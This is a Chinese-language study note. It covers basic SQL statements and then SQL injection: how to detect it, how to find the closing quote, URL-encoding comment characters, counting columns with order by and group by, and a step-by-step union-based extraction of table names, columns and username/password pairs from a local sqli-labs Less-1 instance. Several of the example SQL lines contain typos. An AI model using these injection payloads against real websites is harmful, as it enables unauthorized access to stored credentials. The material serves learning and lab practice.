基础——几个常用语句
增删改
create table a;#创建数据表
show full columns from a;#查看数据表信息
select * from a;#查看数据列表
drop table a;#删除数据表
rename table a to b;#修改数据表名为b
insert into a(id,name,sex,birthday)values(1,'admin','male','2004-08-10',);#写入内容
alter table a add salary dacimal(8,2);#增加一列内容
update a set salary=5000#修改所有工资为5000
update a set name='benben',salary=3000 where id=1;#修改id=1行的name为benben,salary为3
alter table a drop salary;#删除列
delete from a where name='benbe;#删除行
查询指令
select * from a where id=1;
select * from a where id in ('3');#从a表格,查询所有包含id为3
select * from users where id=(select id from users where username=('admin');
#子查询优先执行()内查询语句
union联合查询
>select id from users union select email_id from emails;
#查询并合并数据显示
>select * from users where id=6 union select * from emails where id=6;
ERROR:havea differentnumberofcolumns 联合注入前后表格列数必须相等
>select * from users where id=6 union select *,3 from emails where id=6
#3为填充列
order by
group by 分组
>select department,count(id) from student group by department;
#查询department院系人数 count (id)对ID进行计数-般用于二分法判断数据表列数
>select * from users where id=9 group by 2;
#by2,4,8~~~依次排查到报错为止,从而确定列数;>select * from users where id=9 group by 4;
order by
默认按照升序排列
>select stu_id from score shere c name='计算机' order by grade desc;
#grade参数desc使排列顺序变为降序
同group by,一般用于判断数据表列数
limit
限制输出内容数量
>select * from users limit 1,3:
#限制为从第1行开始显示3行
>select * from users limit 0.3;
#限制为从第0行开始显示3行(实际是从0行开始计数)
般用于限数显示报错反馈信息
and 和or
“与”和或
>select * from student where sex=男' and department='英语系';
>select* from student where sex=男' or department='英语系';
常用函数
group_concat
合并到一行显示
>select username from users;
>select group_concat(username) from users;
select database()
查看当前数据库名称
select version()
查看当前数据库版本
sql注入
是什么
所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。
通过构造一条精巧的语句,来查询到想要得到的信息
分类
按照查询字段
字符型
当输入的参数为字符串时,称为字符型
数字型
当输入的参数为整形时,可以认为是数字型注
按照注入方法
Union注入,报错注入,布尔注入,时间注入
注入步骤
1.判断是否存在sql注入 与sql注入的类型
判断方法:
1.先看类型,第一种有报错注入的,用先来判断,如果报错就说明有sql注入
2.遇到盲注需要用逻辑语句,and语句,例如 and 1=1 and 1=2 OR 3*2*0=6 AND 000909=000909 -- ‘等
2.判断闭合方式
是字符型还是数字型
why???????
打开源文件,查看源代码
字符型需要闭合符,如图示为
提交1 and 1=1
单引号闭合语句后Where语句为一个条件id=’ 1and 1=1
数字型则不需要闭合符来闭合
判断闭合方式
一般的闭合方式
’ ” ‘) “)
如何判断?????
eg:less-1输入?id=1'''
报错为near1”“多一个’所以闭合方式为’
闭合的作用
手工提交闭合符号,结束前一段查询语句后面即可加入其他语句,查询需要的参数不需要的语句可以用注释符号“--+’或“#’或,%23注释掉
注释掉:利用注释符号暂时将程序段脱离运行。
把某段程序“注释掉”,就是让它暂时不运行 (而非删除掉)
%23=# 之http中传输特殊的字符
有些符号在URL中是不能直接传递的,如果要在URL中传递这些特殊符号,那么就要使用他们的编码了。编码的格式为:%加字符的ASCII码,即一个百分号%,后面跟对应字符的ASCII(16进制)码值。例如 空格的编码值是"%20"。
十六进制值
1. + URL 中+号表示空格 %2B
2. 空格 URL中的空格可以用+号或者编码 %20
3. / 分隔目录和子目录 %2F
4. ? 分隔实际的 URL 和参数 %3F
5. % 指定特殊字符 %25
6. # 表示书签 %23
7. & URL 中指定的参数间的分隔符 %26
8. = URL 中指定参数的值 %3D
例:要传递字符串“this%is#te=st&o k?+/”作为参数t传给te.asp,则URL可以是:
te.asp?t=this%25is%23te%3Dst%26o%20k%3F%2B%2F 或者
te.asp?t=this%25is%23te%3Dst%26o+k%3F%2B%2F (空格可以用%20或+代替)
所以SQL的注释符是‘-- ’因为在url编码中‘+’相当于‘ ’,所以注释符是‘--+’也可以是‘--%20’
3.爆列数
order by
group by
4.然后数据库名
如果是id=1
页面只能显示一个内容第二句的内容是不显示的,可以把第一句的内容改为数据库不存在的数据,
如id=0,-1。
?id=0' union select 1,2,database() --+
5.拿到表名和列名
表名
输入代码意思是在information_schema中搜索表名当这个数据库名为database()这里也可以用刚刚查出来'security'效果道理上是一样的,但是实操中用database()这个函数比用字符串更容易不被发现
http://localhost/sql/Less-1/?id=0' union select 1,2,table_name from information_schema.tables where table_schema=database()--+
注意到这里回显的只有一个表名
这里需要用到group_concat()这个函数以确保查询的信息能放到一行显示出来
http://localhost/sql/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
列名
输入代码
http://localhost/sql/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+
还是得到了很多无用的信息 可以再加个限制条件 刚才查出来的表名为user table_name='users'
http://localhost/sql/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
6.查询最终目标
查询语句
select列名+from表名+where限定语句
http://localhost/sql/Less-1/?id=0' union select 1,2,group_concat(username,'~',password) from users --+
over